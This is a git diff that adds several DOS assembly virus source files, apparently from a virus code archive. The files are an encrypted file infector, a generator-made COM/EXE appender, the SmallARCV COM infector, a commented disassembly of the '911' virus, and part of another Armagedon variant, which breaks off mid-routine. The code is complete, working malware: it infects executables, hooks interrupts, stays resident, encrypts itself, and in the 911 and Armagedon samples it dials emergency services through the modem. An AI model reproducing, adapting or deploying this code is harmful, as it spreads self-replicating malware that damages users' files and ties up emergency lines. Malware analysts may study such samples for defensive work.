+ mov word ptr read_buffer[16],MARKER + mov ax,4202h ; to end of file + cwd + xor cx,cx + int 21h + + push ax dx ; save file size + + push bx + mov cl,12 ; calculate offsets for CS + shl dx,cl ; and IP + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr read_buffer[8] + mov word ptr read_buffer[22],dx + mov word ptr read_buffer[20],ax + + pop dx ax ; calculate prog size + + add ax,VIRUS_SIZE + 3 + adc dx,0 + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr read_buffer[2],dx + mov word ptr read_buffer[4],ax + mov dx,word ptr read_buffer[20] + call encrypt_code ; encrypt virus + + + mov ah,40h + mov cx,VIRUS_SIZE + 3 + mov dx,offset encrypt_buffer + int 21h + + + mov ax,4200h ; back to beginning + cwd + xor cx,cx + int 21h + + mov ah,40h ; and fix up header + mov cx,28 + mov dx,offset read_buffer + int 21h + jmp fix_date_time ; done + +courtesy_of db '[BW]',0 +signature db '[Archer] MnemoniX `94',0 + +activate: + xor ah,ah ; get system time + int 1Ah + cmp dl,0F1h + jb no_activate + + mov ah,0Fh ; get display page + int 10h + + mov al,dl ; random number, 0-15 + and al,15 + + mov ah,3 ; activating - get cursor + int 10h ; position and save + push dx + + mov dh,al ; set cursor at random + xor dl,dl ; row, column 1 + mov ah,2 + int 10h + + mov di,79 + mov cx,1 + +arrow: + mov ax,91Ah ; print arrow and erase + mov bl,10 ; 79 times + int 10h + + push cx ; time delay + mov cx,-200 + rep lodsb + pop cx + + mov ah,2 + mov dl,' ' + int 21h + + dec di + jnz arrow + + pop dx ; reset cursor + mov ah,2 + int 10h ; and we're done + +no_activate: + ret + +get_extension: + push ds ; find extension + pop es + mov di,dx + mov cx,64 + mov al,'.' + repnz scasb + ret + +encrypt_code: + push ax cx + + push dx + xor ah,ah ; get time for random number + int 1Ah + + mov cipher,dx ; save encryption key + pop cx + add cx,virus_code - virus_begin + mov code_offset,cx ; save code offset + + push cs ; ES = CS + pop es + + mov si,offset virus_begin ; move decryption module + mov di,offset encrypt_buffer + mov cx,virus_code - virus_begin + rep movsb + + mov cx,VIRUS_SIZE / 2 + 1 +encrypt: + lodsw ; encrypt virus code + sub ax,dx + stosw + loop encrypt + + pop cx ax + ret + +int_24: + mov al,3 ; int 24 handler + iret +new_jump db 0E9h,0,0 + +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer +encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/a/ARCHIVE.ASM b/a/ARCHIVE.ASM new file mode 100755 index 0000000..c7e4f0a --- /dev/null +++ b/a/ARCHIVE.ASM @@ -0,0 +1,317 @@ +; Virus generated by G 0.70 +; G written by Dark Angel of Phalcon/Skism + +; File: ARCHIVE.ASM +; by + +id = 'FE' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK /t filename.OBJ + org 0100h + +carrier: + db 0E9h,0,0 ; jmp start + +start: + call next +next: + pop bp + sub bp, offset next + + push ds + push es + + mov ax, 3524h + int 0021h + push es + push bx + + lea dx, [bp+INT24] ; ASSumes ds=cs + mov ax, 2524h + int 0021h + + push cs + pop es + + + push cs + pop ds + + push cs + pop es + + mov ah, 001Ah ; Set DTA + lea dx, [bp+offset newDTA] + int 0021h + + mov dl, 0000h ; Default drive + mov ah, 0047h ; Get directory + lea si, [bp+offset origdir+1] + int 0021h + + push ds + push es + + mov ax, 3521h ; get int 21h handler + int 0021h + + push es + pop ds + xchg bx, dx + mov ax, 2503h ; set int 3 = int 21h handler + int 0021h + + pop es + pop ds + lea di, [bp+offset origCSIP2] + lea si, [bp+offset origCSIP] + movsw + movsw + movsw + movsw + + mov byte ptr [bp+numinfect], 0000h +traverse_loop: + lea dx, [bp+offset COMmask] + call infect + lea dx, [bp+offset EXEmask] + call infect + cmp [bp+numinfect], 0001h + jae exit_traverse ; exit if enough infected + + mov ah, 003Bh ; CHDIR + lea dx, [bp+offset dot_dot] ; go to previous dir + int 0003h + jnc traverse_loop ; loop if no error + +exit_traverse: + + lea si, [bp+offset origdir] + mov byte ptr [si], '\' + xchg dx, si + mov ah, 003Bh ; restore directory + int 0003h + + pop dx + pop ds + mov ax, 2524h + int 0003h + + pop ds + pop es + + mov dx, 0080h ; in the PSP + mov ah, 001Ah ; restore DTA to default + int 0003h + + cmp sp, id + je restore_EXE +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3_2] + mov cx, 0003h ; Caution: far from the most efficient + rep movsb ; routine +return: + ret + +restore_EXE: + mov ax, es + add ax, 0010h + add cs:[bp+word ptr origCSIP2+2], ax + add ax, cs:[bp+word ptr origSPSS2] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS2+2] + sti + db 00EAh +origCSIP2 db ? +old3_2 db ?,?,? +origSPSS2 dd ? + +origCSIP db ? +old3 db 0cdh,20h,0 +origSPSS dd ? + +INT24: + mov al, 0003h + iret + +infect: + mov cx, 0007h ; all files + mov ah, 004Eh ; find first +findfirstnext: + int 0003h + jc return + + cmp word ptr [bp+newDTA+33], 'AM' ; Check if COMMAND.COM + mov ah, 004Fh ; Set up find next + jz findfirstnext ; Exit if so + + mov ax, 4300h + lea dx, [bp+newDTA+30] + int 0003h + jc return + push cx + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0003h + + mov ax, 3D02h + lea dx, [bp+newDTA+30] + int 0003h + mov bx, ax ; xchg ax,bx is more efficient + + mov ax, 5700h ; get file time/date + int 0003h + push cx + push dx + + mov ah, 003Fh + mov cx, 001Ah + lea dx, [bp+offset readbuffer] + int 0003h + + mov ax, 4202h + xor cx, cx + xor dx, dx + int 0003h + + cmp word ptr [bp+offset readbuffer], 'ZM' + jz checkEXE + + mov cx, word ptr [bp+offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jz jmp_close + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + lea si, [bp+offset readbuffer] + lea di, [bp+offset old3] + movsw + movsb + + mov cx, 0003h + sub ax, cx + mov word ptr [bp+offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [bp+offset readbuffer], dl + jmp short continue_infect +checkEXE: + cmp word ptr [bp+offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea si, [bp+readbuffer+14h] + lea di, [bp+origCSIP] + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [bp+readbuffer+14h], dx ; IP Offset + mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module. + mov word ptr [bp+readbuffer+10h], id ; Initial SP + + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [bp+readbuffer+2], ax ; the EXE header. + mov word ptr [bp+readbuffer+4], dx ; Fix-up the file size in + + pop bx ; restore file handle + mov cx, 001Ah + +continue_infect: + push cx ; save # bytes to write + + mov cx, heap-start + lea dx, [bp+offset start] + mov ah, 0040h ; concatenate virus + int 0003h + + xor cx, cx + mov ax, 4200h + cwd + int 0003h + + + mov ah, 0040h + pop cx + lea dx, [bp+offset readbuffer] + int 0003h + + inc [bp+numinfect] + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0003h + + mov ah, 003Eh + int 0003h + + pop ax ; restore file attributes + pop dx ; get filename and + pop cx ; attributes from stack + int 0003h + + mov ah, 004Fh ; find next + jmp findfirstnext + +dot_dot db '..',0 +EXEmask db '*.EXE',0 +COMmask db '*.COM',0 +creator db '',0 +virusname db '',0 + + +heap: +newDTA db 43 dup (?) +origdir db 65 dup (?) +numinfect db ? +readbuffer db 1ah dup (?) +endheap: + end carrier diff --git a/a/ARCVSMAL.ASM b/a/ARCVSMAL.ASM new file mode 100755 index 0000000..503b6e5 --- /dev/null +++ b/a/ARCVSMAL.ASM @@ -0,0 +1,138 @@ + + .radix 16 + .model tiny + .code + org 100h + +main: + jmp start +start: + call get_pointer ;>>xref=<06106><< + +get_pointer: + pop bp ; pop cs:ip of stack + sub bp,offset get_pointer ; adjust + + lea si,word ptr [bp+old_jump]; loc of old jump + mov di,0100h ; where to put it + push di ; save on stack for later return + movsw + movsb + + mov ah,1ah ; set DTA + lea dx,word ptr ss:d061ef[bp] ; + int 21h + + lea dx,[bp+com_file] ; COM filespec + mov ah,4eh ; find first file + mov cx,0007h ; all attributes + +find_loop: + int 21h ; + + jb set_dta ; none found then jump. + + call open_file ; open the file + + mov ah,3fh ; read from file + lea dx,word ptr ss:d0621a[bp] ; store here + mov cx,001ah ; number of bytes + int 21h + + mov ah,3eh ; close the file + int 21h + + mov ax,word ptr ss:d06209[bp] ; get file siz + cmp ax,0feceh ; cmp to 65k. + ja find_next ; to big then forget it. + + mov bx,word ptr ss:d0621b[bp] ; get jump loc in file + add bx,00efh ; add virus size + cmp ax,bx ; does it equal file size? + + jne infect_com ; nope then get file + +find_next: + mov ah,4fh ; find next file + jmp short find_loop + +set_dta: + mov ah,1ah ; set dta + mov dx,80h ; to original position + int 21h + ret + +old_jump: + int 20h ; original jump + db 00 ; original file so its an int 20h. + +set_attribute: + mov ax,4301h ; set file attr. + lea dx,word ptr ss:d0620d[bp] ; filename + int 21h ; cl has attribs + ret + + +sig db '[SmallARCV]',0 + db 'Apache Warrior.',0 +com_file db '*.com',0 ; com filespec + +open_file: + mov ax,3d02h ; open file read/write + lea dx,word ptr ss:d0620d[bp] ; location of filename + int 21h + xchg ax,bx ; handle -> bx + ret + +infect_com: + mov cx,0003h ; # of bytes to write + sub ax,cx ; adjust filesize for jmp. + lea si,word ptr ss:d0621a[bp] ; victims original jmp + lea di,word ptr old_jump[bp] ; place here + movsw ; move it + movsb + mov byte ptr [si-03],0e9h ; set up new jump + mov word ptr [si-02],ax ; and save it + + push cx ; save # of bytes to write + xor cx,cx ; clear attributes + call set_attribute ; set attributes + call open_file ; open file + mov ah,40h ; write to file + lea dx,word ptr ss:d0621a[bp] ; new jump + pop cx ; get bytes off stack + int 21h + + mov ax,4202h ; move fpointer to end + xor cx,cx ; clear these + cwd ; clear dx + int 21h + + mov ah,40h ; write to file + lea dx,word ptr start[bp] ; from here. + mov cx,00ech ; size of virus + int 21h + + mov ax,5701h ; set files date/time back + mov cx,word ptr ss:d06205[bp] ; + mov dx,word ptr ss:d06207[bp] ; + int 21h + + mov ah,3eh ; close file + int 21h + + mov ch,00 ; set attributes back + mov cl,byte ptr ss:d06204[bp] ; original attribs. + call set_attribute ; set them back + jmp set_dta ; jump and quit virus. + +d061ef equ 001efh +d06204 equ 00204h +d06205 equ 00205h +d06207 equ 00207h +d06209 equ 00209h +d0620d equ 0020dh +d0621a equ 0021ah +d0621b equ 0021bh + + end main diff --git a/a/ARMAG911.ASM b/a/ARMAG911.ASM new file mode 100755 index 0000000..8b97471 --- /dev/null +++ b/a/ARMAG911.ASM @@ -0,0 +1,641 @@ +;*************************************************************************** +;* * +;* The 911 Virus * +;* (An "Armagedon the Greek" Variant) * +;* Caution! This Virus Will Dial 911 On Computers Equipped With A Modem! * +;*Dial is controlled off of the new INT 08 handler when virus goes TSR. * +;*Examine the way the virus goes memory resident using INT 27, this is an * +;*interesting method that I had not seen before in a virus. Also, look * +;*at its rather strange procedure for infecting files. * +;* * +;* Disassembly by Black Wolf * +;* * +;*************************************************************************** +.model tiny ;Sets assembler into Tiny mode +.radix 16 ;Sets numbers to hexidecimal +.code + org 100 + +;************************************************************************** +;* Loading Jump * +;************************************************************************** +start: + jmp Virus_Entry + +;************************************************************************** + + +;************************************************************************** +;* This is where the infected file would usually be. * +;************************************************************************** +;************************************************************************** + + +;************************************************************************** +;* Int 21 Handler * +;************************************************************************** +Int_21: + pushf + cmp ah,0E0 ;Is this an installation check? + jne not_check ;If not, go to not_check + mov ax,0DADA ;If so, return 0DADA + popf ;and exit interrupt. + iret + +not_check: + cmp ah,0E1 ;0E1=request for virus' seg. address + jne not_seg_req ;Not E1? then go to not_seg_req + mov ax,cs ;Move virus' address into AX + popf ;and exit interrupt. + iret +not_seg_req: + cmp ax,4B00 ;Load and Execute? + je Infect ;Go Infect +Go_Int_21: + popf + +; jmp dword ptr cs:[Int_21_Off] + db 2e,0ff,2e,22,01 ;Jump to Int 21 (done) +;************************************************************************** + + +;**************************************************************************** +;* Main Data Section * +;**************************************************************************** +Int_21_Off dw 138dh +Int_21_Seg dw 029a + +Int_08_Off dw 022Bh +Int_08_Seg dw 70 + +Ready_Byte db 0 +Timing_Counter db 8 +save_time_a db 10 +save_time_b db 9 +save_date db 34 +Bytes_Written dw 0 +waste_byte db 0 +Character_Count db 0 +Data_Ready db 0 +Ports_Initialized db 0 + +com db 'COM' +handle dw 5 +file_size dw 2 + db 0, 0 +mem_allocated dw 1301 +save_ss dw 12AC +save_sp dw 0FFFE +filename_seg dw 9B70 +filename_off dw 3D5Bh +attribs dw 20 +file_date dw 0EC2 +file_time dw 6E68 + db 0,0,81,0 +cs_save_3 dw 12AC + db 5C,0 +cs_save_1 dw 12AC + db 6C,0 +cs_save_2 dw 12AC +;**************************************************************************** + +Infect: + push ds bx si cx ax dx bp es di ;Save Registers + + cld ;Clear direction + push dx ds ;Save Filename Address + xor cx,cx ;Zero CX for use as counter + mov si,dx ;Move Filename Offset to SI + +Find_End_Of_Filename: + mov al,[si] ;Get letter from Filename + cmp al,0 ;Are we at the end of the + je Check_Filename ;Filename? Yes? Go to loc_7 + inc cx ;inc Count + inc si ;inc pointer to next char + jmp short Find_End_Of_Filename + +Check_Filename: + add dx,cx ;add filename length to + ;start of filename address + sub dx,3 ;Subtract 3 for extension + mov si,offset com ;com='COM' + mov di,dx ;set di=dx to Check + + ;Next few lines Check for + ;Command.Com + + cmp byte ptr [di-3],4E ;Is the second to last letter + ;an 'N'? + jne setup_check ;If not, it's not COMMAND, + ;Go to loc_8 + cmp byte ptr [di-2],44 ;Is the last letter a 'D'? + je Infect_Error ;If so, it is COMMAND, + ;Go to Infect_Error. +setup_check: + mov cx,3 ;Setup loop + +check_if_com: + mov al,cs:[si] + cmp al,[di] + jne Infect_Error + inc si ;Check for 'COM' Extension + inc di ;If so, infect, otherwise + loop check_if_com ;Go to Infect_Error + + pop ds + pop dx ;Restore original filename + push dx ;address to DS:DX, then + push ds ;push them back onto stack + + mov si,dx + mov dl,0 + + cmp byte ptr [si+1],3A ;Is the second letter a + ; ':'? I.E. is the file on + ;another drive? + + jne Get_Free_Disk_Space ;Nope? Go Get_Free_Disk_Space + + mov dl,[si] ;Get drive number if the file + and dl,0F ;is on another drive. + +Get_Free_Disk_Space: + mov ah,36 + int 21h ;Get free drive space. + ;DL=drive + cmp ax,0FFFF + je Infect_Error + jmp short Continue_Infect + nop +Infect_Error: + jmp Pop_And_Quit_Infect + jmp End_Infect +Error_After_Open: + jmp Close_File + jmp Reset_DTA +Continue_Infect: + cmp bx,3 ;If there are less than 3 + jb Infect_Error ;clusters free, quit. + + pop ds ;DS:DX is filename address + pop dx ;again. + push ds + push dx + + mov word ptr cs:[filename_seg],ds ;Save DS:DX again + mov word ptr cs:[filename_off],dx + + mov ax,4300 + int 21 ;Get the file attributes + + mov word ptr cs:[attribs],cx ;Store attributes + mov ax,4301 + xor cx,cx ;Set attributes to zero + int 21 ;to insure write access. + + mov bx,0FFFF + mov ah,48 ;Allocate all free memory + int 21 ;by trying to allocate more + ;than the computer possibly can, + mov ah,48 ;then using the returned number + int 21 ;(free mem) as the amount to + ;request. + + mov word ptr cs:[mem_allocated],ax ;save the segment of + ;allocated memory + + mov ax,cs ;point ds to cs + mov ds,ax + mov dx,offset new_DTA + mov ah,1A + int 21 ;Set DTA to memory after virus + + pop dx + pop ds + mov ax,3D02 + clc ;clear carry (unneccessary) + int 21 ;Open file for read/write access + + jc Error_After_Open ;on error go to + ;Error_After_Open + mov bx,ax ;move handle to bx + mov word ptr cs:[handle],ax ;save file handle + mov cx,0FFFF + mov ax,word ptr cs:[mem_allocated] ;Get segment of + ;memory to use + mov ds,ax ;point ds to it + mov dx,end_main_virus-start + mov ah,3F + clc ;clear carry + int 21 ;Read 0ffff byte from file + + jc Error_After_Open ;If error go to + ;Error_After_Open + mov word ptr cs:[file_size],ax ;save file size + ;(number of bytes read) + cmp ax,0E000 + ja Error_After_Open ;File is too large, go to + ;Error_After_Open + cmp ax,end_main_virus-start ;Is file smaller than virus? + jb Not_Infected ;Yes, therefore it isn't + ;infected, goto Not_Infected + mov si,offset (end_main_virus+1-100) + add si,si ;Set SI to point to area where + sub si,15 ;the text message would be if + ;file is already infected. + mov cx,13 ;Length of Text_Message + mov di,offset Text_Message ;("Support Your Police") + +Check_For_Infection: + mov al,byte ptr [si] ;This loop checks for the text + mov ah,cs:byte ptr [di] ;message in the file being + cmp ah,al ;examined. If it's there, it + jne Not_Infected ;jumps to Close_File, + inc si ;otherwise it jumps to Not_Infected + inc di + loop Check_For_Infection + + jmp short Close_File + nop +Not_Infected: + mov ax,4200 + mov bx,word ptr cs:[handle] + xor cx,cx + mov dx,cx + int 21 ;Move to beginning of file + + jc Close_File + mov si,100 + mov cx,offset (end_main_virus-100) + xor di,di + mov ax,word ptr cs:[mem_allocated] + mov ds,ax + +Copy_Virus: + mov al,cs:[si] ;Copy virus onto file in + mov [di],al ;memory. "repnz movsw" + inc si ;would've worked a lot + inc di ;better. + loop Copy_Virus + + mov ax,5700 + mov bx,word ptr cs:[handle] + int 21 ;Get File Date/Time + + mov word ptr cs:[file_time],cx ;Save File Time + mov word ptr cs:[file_date],dx ;Save File Date + mov ax,word ptr cs:[mem_allocated] + mov ds,ax + mov si,offset (end_main_virus-100) + mov al,[si] ;encrypt first storage + add al,0Bh ;byte. + mov [si],al + xor dx,dx + mov cx,word ptr cs:[file_size] ;Calculate new file size + add cx,offset end_main_virus-100 ;(add virus size) + mov bx,word ptr cs:[handle] + mov ah,40 + int 21 ;Rewrite file + + mov word ptr cx,cs:[file_time] + mov word ptr dx,cs:[file_date] + mov bx,word ptr cs:[handle] + mov ax,5701 + int 21 ;Restore File Time + +Close_File: + mov bx,word ptr cs:[handle] + mov ah,3E + int 21 ;Close File + + push cs + pop ds +Reset_DTA: + mov dx,80 + mov ah,1A + int 21 ;Reset DTA to default + + mov ax,word ptr cs:[mem_allocated] + mov es,ax + mov ah,49 + int 21 ;Release Allocated Memory + + mov ax,word ptr cs:[filename_seg] + mov ds,ax + mov dx,word ptr cs:[filename_off] + mov ax,4301 + mov cx,word ptr cs:[attribs] + int 21 ;Restore File Date/Time + + jmp short End_Infect + nop + +Pop_And_Quit_Infect: + pop ds + pop dx + jmp short End_Infect + nop +End_Infect: + pop di es bp dx ax cx si bx ds + jmp Go_Int_21 + +;************************************************************************ +;* Timer Click (INT 8) Handler * +;* This is Used to Dial Numbers * +;************************************************************************ +Int_08: + push bp ds es ax bx cx dx si di + + pushf ;Push flags + ;call word ptr cs:[Int_08_Off] ;Run old timer click + db 2e,0ff,1e,26,01 + + call Timing_Routine + + push cs + pop ds + mov ah,5 + mov ch,byte ptr [save_time_a] + cmp ah,ch + ja Quit_Int_08 + ;if [save_time_a] !=6, quit. + mov ah,6 + cmp ah,ch + jb Quit_Int_08 + + mov ah,byte ptr [Ready_Byte] + cmp ah,1 + je Go_Dial + + mov ah,1 + mov byte ptr [Ready_Byte],ah + jmp short Quit_Int_08 + nop + +Go_Dial: + call Write_Ports + + inc word ptr [Bytes_Written] + mov ax,word ptr [Bytes_Written] + cmp ax,21C + jne Quit_Int_08 + xor ax,ax ;Reset Counters + mov byte ptr [Ready_Byte],ah + mov word ptr [Bytes_Written],ax + mov byte ptr [Data_Ready],ah +Quit_Int_08: + pop di si dx cx bx ax es ds bp + iret + +;**************************************************************************** +;* Timing Routine For Dialing * +;**************************************************************************** + + +Timing_Routine: + push cs + pop ds + + xor al,al + mov ah,byte ptr [Timing_Counter] + cmp ah,11 + jne Inc_Time_Count + mov ah,byte ptr [save_date] + cmp ah,3bh + jne Inc_Saved_Date + mov ah,byte ptr [save_time_b] + cmp ah,3bh + jne Inc_S_T_B + mov ah,byte ptr [save_time_a] + cmp ah,17 + jne Inc_S_T_A + + mov byte ptr [save_time_a],al +Save_T_B: + mov byte ptr [save_time_b],al +Store_Save_Date: + mov byte ptr [save_date],al +Time_Count: + mov byte ptr [Timing_Counter],al + ret +Inc_Time_Count: + inc byte ptr [Timing_Counter] + ret +Inc_Saved_Date: + inc byte ptr [save_date] + jmp short Time_Count +Inc_S_T_B: + inc byte ptr [save_time_b] + jmp short Store_Save_Date +Inc_S_T_A: + inc byte ptr [save_time_a] + jmp short Save_T_B + +dial_string db '+++aTh0m0s7=35dp911,,,,,,,' ;Dial string To call + ;911 and wait + +;**************************************************************************** +;* Write Data to Com Ports * +;**************************************************************************** + +Write_Ports: + mov al,byte ptr [Data_Ready] + cmp al,1 + je Ret_Write_Ports ; Jump if equal + + mov al,byte ptr [Ports_Initialized] ;Have Ports been + cmp al,1 ;Initialized yet? + je Already_Initialized + + mov cx,3 +Init_Ports: + mov dx,cx + xor ah,ah + mov al,83 ;Init Comport + int 14 ;1200 Baud, No Parity, + ;1 Stop Bit, 8 bit Word Len. + loop Init_Ports ;Initalize all Ports 1-4 + + + mov al,1 + mov byte ptr [Ports_Initialized],al + + jmp short Ret_Write_Ports + nop + +Already_Initialized: + push cs + pop ds + mov si,offset dial_string + mov al,byte ptr [Character_Count] + cmp al,1A + jne Write_From_SI_To_Ports + jmp short Setup_write + nop + +Write_From_SI_To_Ports: + xor ah,ah + add si,ax + mov al,[si] + mov dx,3F8 ;Outport from SI to standard + out dx,al ;addresses of ports 1-4 + mov dx,2F8 ;and increment character count + out dx,al + mov dx,2E8 + out dx,al + mov dx,3E8 + out dx,al + inc byte ptr [Character_Count] + jmp short Ret_Write_Ports + nop + +Setup_write: + mov cx,3 +Write_To_All_Ports: + mov dx,cx + mov al,0dh + mov ah,1 + int 14 ;Write a 1 to all ports + loop Write_To_All_Ports + + mov ax,1 + mov byte ptr [Data_Ready],al + mov byte ptr [Character_Count],ah + mov byte ptr [Ports_Initialized],ah + +Ret_Write_Ports: + ret + +;**************************************************************************** +; Virus Entry Point +;**************************************************************************** + +Virus_Entry: + mov ah,0e0 + int 21 ;Check for Installation + cmp ax,0dada ;Was it installed? + jne Install_Virus ;No? Then install it. + jmp Already_Installed ;Yes? Go to Already_Installed +Install_Virus: + push cs + pop ds + mov ax,3521 ;Get Int 21 Address + int 21 + + mov word ptr [Int_21_Off],bx ;Save old Int 21 + mov word ptr [Int_21_Seg],es ;Vector + mov dx,offset Int_21 + mov ax,2521 + int 21 ;Set Int 21 + + mov ax,3508 + int 21 ;Get Int 8 Address + + mov word ptr [Int_08_Off],bx + mov word ptr [Int_08_Seg],es ;Save old Vectors + mov dx,offset Int_08 + mov ax,2508 + int 21 ;Set Int 08 + + mov ah,2C + int 21 ;Get Time + + mov byte ptr [save_time_a],ch + mov byte ptr [save_time_b],cl ;Save Time and Date + mov byte ptr [save_date],dh + + mov ax,cs:[2c] ;Get environment block + mov ds,ax ;address and put it in DS + xor si,si ;DS:SI=beginning of Env. B. +Find_The_Filename: + mov al,[si] ;Search through environment + cmp al,1 ;block for program executed. + je Found_Filename + inc si + jmp short Find_The_Filename + +Found_Filename: + inc si + inc si + mov dx,si ;DS:DX = Filename + mov ax,cs + mov es,ax ;Set segment (ES) = CS + mov bx,5a ;Request 5a0h (1440 dec) bytes + mov ah,4a + int 21 ;Change Allocated Memory + + mov bx,word ptr cs:[81] ;Beginning of Command Line + mov ax,cs + mov es,ax ;set ES=CS again. + mov word ptr cs:[cs_save_1],ax + mov word ptr cs:[cs_save_2],ax ;Re-Execute program + mov word ptr cs:[cs_save_3],ax ;To make Int 27 cause + mov ax,4B00 ;program to go mem-res + mov word ptr cs:[save_ss],ss ;without terminating + mov word ptr cs:[save_sp],sp ;regular program. + pushf + ;call far cs:[Int_21_Off] ;Call Load and Execute + db 2e,0ff,1e,22,01 + + mov ax,word ptr cs:[save_ss] + mov ss,ax + mov ax,word ptr cs:[save_sp] ;Restore Stack + mov sp,ax + mov ax,cs + mov ds,ax + mov dx,537 ;DX=End of virus + int 27 ;Terminate & stay resident +Already_Installed: + mov ah,0E1 ;Get CS of virus in memory + int 21 + mov si,offset Install_Jump + mov cs:[si+3],ax ;Setup Jump + mov ax,offset After_Jump + mov cs:[si+1],ax + mov ax,word ptr cs:[file_size] + mov bx,cs + +Install_Jump: + db 0ea +IP_For_Jump db 0,0 +CS_For_Jump db 0,0 + +After_Jump: + mov cx,ax + mov ds,bx + mov si,100 + mov di,offset storage_bytes + +Restore_File: ;Restore File in memory + mov al,[di] + mov [si],al + inc si + inc di + loop Restore_File + + mov si,offset return_jump + mov cs:[si+3],ds ;set host segment + mov al,byte ptr ds:[100] ;Get first byte of host, + sub al,0bh ;then unencrypt first byte + mov byte ptr ds:[100],al ;of Storage_Bytes + mov ax,ds ;and restore it + mov es,ax ;restore ES and SS to point + mov ss,ax ;to DS/CS + +;* jmp far ptr start ;Return control to COM file +return_jump: + db 0ea +host_offset db 00,01 +host_segment db 07,13 + +Text_Message db 'Support Your Police' + +end_main_virus: +Storage_Bytes db 0D8,20 ;First Byte Encrypted + +end_of_vir: +word_space db 8 dup (?) + +new_DTA : +end start diff --git a/a/ARMAGEDO (22).ASM b/a/ARMAGEDO (22).ASM new file mode 100755 index 0000000..ccd6018 --- /dev/null +++ b/a/ARMAGEDO (22).ASM @@ -0,0 +1,524 @@ +dta equ offset last_byte+10 +virlen equ (offset last_byte - offset start) +strlen equ (offset endstr - offset startstr) + +code segment + assume cs:code,ds:code + org 100h +start: jmp main + +newint21 proc far ; SETS THE 'INT 21h' VIRUSED + pushf ; Save flags for compare + cmp ah,0e0h ; Is it exist-test? + jnz notest1 ; if not go on + mov ax,0dadah ; else return signature, + popf ; restore flag and + iret ; return to program +notest1: cmp ah,0e1h + jnz notest2 + mov ax,cs + popf + iret +notest2: cmp ax,4b00h ; is 'EXEC' command? + jz infector ; if yes go to 'infection' +do_oldint: popf ; restore flags + jmp dword ptr cs:oldint21a; jump to normal INT 21h +newint21 endp + +oldint21a dw ? ; old INT 21h vector (low) +oldint21b dw ? ; old INT 21h vector (high) +oldint8a dw ? ; old INT 8 vector (low) +oldint8b dw ? ; old INT 8 vector (high) +status db 0 ; flag for time (call in progress) +ticks db 0 ; 18.2 tick counter +cur_h db 0 ; Current time (HOURS) +cur_m db 0 ; Current time (MINUTES) +cur_s db 0 ; Current time (SECONDS) +count dw 0 ; dial counter (30 sec, 540 ticks) +garbidge db 0 +stringpos db 0 +call_made db 0 +init_done db 0 +comext db 'COM' ; Valid inf. extension +handle dw ? ; inf. handle number +filesize dw 20 +prseg dw ? +seg_buffer dw ? +ss_reg dw ? +sp_reg dw ? +fileds dw ? +filedx dw ? +attr dw ? +filedate dw ? +filetime dw ? + +env_seg dw 00h +cdline_offs dw 81h +cdline_seg dw ? +fcb1_offs dw 5ch +fcb1_seg dw ? +fcb2_offs dw 6ch +fcb2_seg dw ? + +infector proc near ; PROGRAM INFECTOR + assume cs:code ; + push ds ; save registers to + push bx ; insure normal operation + push si ; by the INT 21h (ah=4b00h) + push cx ; + push ax ; + push dx ; + push bp ; + push es ; + push di ; + + cld ; Reset direction to increament + push dx ; Store the address of the + push ds ; filespec (DS:DX) + xor cx,cx ; reset counter + mov si,dx ; set ptr to filespec +nxtchr: mov al,ds:[si] ; take a char + cmp al,0 ; is it zero? + jz okay ; if yes goto okay + inc cx ; else increase counter + inc si ; and pointer + jmp nxtchr ; take the next chr if CX>0 +okay: + add dx,cx ; Point to end of filespec + sub dx,3 ; point to .EXT + mov si,offset comext ; Check if it is a + mov di,dx ; .COM file + cmp byte ptr ds:[di-3],'N'; + jnz ok_1 ; Is it a ND. ? + cmp byte ptr ds:[di-2],'D'; if yes exit! + jz nmatch ; +ok_1: mov cx,3 ; checking counter in 3 +cmp_loop: mov al,cs:[si] ; take 1st ptr's chr + cmp al,ds:[di] ; and compare it with filespec + jnz nmatch ; If no matching, exit + inc si ; else increase 1st ptr + inc di ; and second ptr + loop cmp_loop ; take next compare if CX>0 + + pop ds ; restore ds and dx to point + pop dx ; + + push dx ; Store pointer + push ds ; + mov si,dx ; Check if filespec + mov dl,0 ; contains a drive + cmp byte ptr ds:[si+1],':'; letter + jnz nodrive ; If no jump to nodrive spec. + mov dl,ds:[si] ; else take the drive in DL + and dl,0fh ; and modify for int 21h (ah=36h) +nodrive: mov ah,36h ; Take free disk space of DL disk + int 21h ; Do the call + cmp ax,0ffffh ; Was an invalid drive specified? + jz nmatch ; if yes, exit + jmp bypass ; Correct jx 127 limit + +nmatch: jmp nomatch +invd: jmp invdrive +closeit1: jmp closeit +resdta1: jmp resdta + +bypass: cmp bx,3 ; Are there at least 3 clust. free? + jb nmatch ; If no, exit + pop ds ; restore pointers + pop dx ; + + push ds ; and allocate memory + push dx ; for the infection + mov cs:fileds,ds + mov cs:filedx,dx + mov ax,4300h ; code for Get Attr + int 21h + mov cs:attr,cx + mov ax,4301h + xor cx,cx + int 21h + + mov bx,0ffffh + mov ah,48h + int 21h 